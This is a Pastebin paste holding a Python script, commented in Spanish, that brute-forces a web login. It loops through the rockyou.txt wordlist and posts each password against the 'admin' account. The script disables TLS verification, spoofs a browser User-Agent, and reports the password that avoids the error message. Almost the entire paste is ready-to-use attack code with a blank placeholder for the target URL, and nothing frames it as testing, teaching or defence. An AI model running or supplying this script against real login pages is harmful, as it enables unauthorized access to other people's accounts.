tukutu

brute_force_login.py

Aug 15th, 2021
104
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.60 KB | None | 0 0
  1. #!/usr/bin/env python3
  2. #coding = utf-8
  3.  
  4. #Puede que la peticion por POST de la data a tramitar (usuario y pass) cambien dependiendo de la pag web, hay que verificar desde BurpSuite como se tramita la peticion y adecuarla
  5.  
  6. import requests, re, time, sys, signal, urllib3
  7. from pwn import *
  8.  
  9. def def_handler(sig, frame):
  10.         print("\n[!]Saliendo...\n")
  11.         sys.exit(1)
  12.  
  13. signal.signal(signal.SIGINT, def_handler)
  14.  
  15.  
  16.  
  17. #Variables
  18. main_url="http://"#Añadir link de la web del login
  19.  
  20.  
  21. if __name__ == '__main__':
  22.  
  23.     urllib3.disable_warnings()
  24.     s = requests.Session()
  25.     s.verify = False
  26.     s.keep_alive = False
  27.    
  28.     p1 = log.progress("Brute Force")
  29.     p1.status("Realizando ataque de fuerza bruta")
  30.     time.sleep(2)
  31.  
  32.     with open('/usr/share/wordlists/rockyou.txt', encoding='"ISO-8859-1"') as fp:
  33.         for password in fp.read().splitlines():
  34.            
  35.             r = s.get(main_url)
  36.  
  37.            
  38.             headers_data = {
  39.                 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0',
  40.                 'Referer' : 'http://'#añadir referer, copiar y pegar de BurpSuite
  41.             }
  42.  
  43.             post_data = {
  44.                 'username' : 'admin', #Usuario
  45.                 'password' : '%s'% password
  46.             }
  47.            
  48.             r = s.post(main_url, headers=headers_data, data=post_data)
  49.             p1.status("Probando la contraseña: %s" % password)
  50.             if "Invalid username or password!" not in r.text:
  51.                 p1.success(" ✅ Contraseña valida!:%s" % password)
  52.                 sys.exit(0)
  53.  
  54.  
  55.  
Advertisement
Add Comment
Please, Sign In to add comment